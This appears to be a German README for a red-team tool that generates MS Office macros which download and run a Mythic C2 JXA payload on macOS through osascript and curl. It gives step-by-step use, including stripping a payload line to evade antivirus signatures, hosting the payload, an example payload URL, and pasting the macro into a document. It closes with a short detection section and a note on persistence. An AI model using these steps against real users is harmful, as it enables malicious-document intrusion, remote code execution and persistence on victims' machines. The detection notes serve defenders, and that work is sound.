
Python3-Skript zum Generieren eines Makros zum Starten einer Mythic-Payload. Autor: Cedric Owens
Python3-Skript zum Generieren von MS Office-Makros zum Starten von Mythic JXA-Payloads.
Dieses Skript generiert ein Office-Makro, das osascript verwendet, um den Mythic JXA .js-Payload herunterzuladen und auszuführen.
Schritte:
Richten Sie den Mythic C2-Server ein und generieren Sie einen "apfell" JXA-Payload (Hinweis: Dieser Generator geht davon aus, dass der Payload http und nicht https verwendet... Falls Sie stattdessen https verwenden, können Sie das Generator-Skript einfach ändern, damit curl https verwendet). Laden Sie diesen Payload auf dem Mythic-Server herunter.
Entfernen Sie die erste Zeile des Mythic JXA .js-Launchers ("// Created by Cody Thomas - @its_a_feature_"). Einige statische A/V-Signaturen wurden bekanntermaßen auf diese statische Zeichenfolge überprüfen. Hosten Sie diesen Payload (z.B. legen Sie den .js-Payload in einen Ordner und verwenden Sie python -m SimpleHTTPServer zum Hosten).
Führen Sie diesen Makro-Generator aus:
python3 jxa-macro.py -u [URL des gehosteten .js-Payloads aus Schritt 2 oben]
Beispiel: python3 jxa-macro.py -u http://192.168.1.1:8000/apfell2.js
Der Makrotext wird in einer Datei namens "macro.txt" im selben Verzeichnis abgelegt.
Kopieren Sie dieses Makro und fügen Sie es in ein MS Office-Dokument ein.
Erkennung:
Dieses Makro erzeugt die folgenden Eltern-Kind-Beziehungen, die zur Erkennung verwendet werden können:
Office-Produkt (z.B. Microsoft Word.app) --> /bin/sh
Office-Produkt (z.B. Microsoft Word.app) --> /bin/bash
Office-Produkt (z.B. Microsoft Word.app) --> /usr/bin/curl
Hinweis: Dadurch wird der JXA-Payload innerhalb der App-Sandbox gestartet. Mythic hat jedoch die Möglichkeit, selbst aus der App-Sandbox heraus eine Login-Item-Persistenz hinzuzufügen.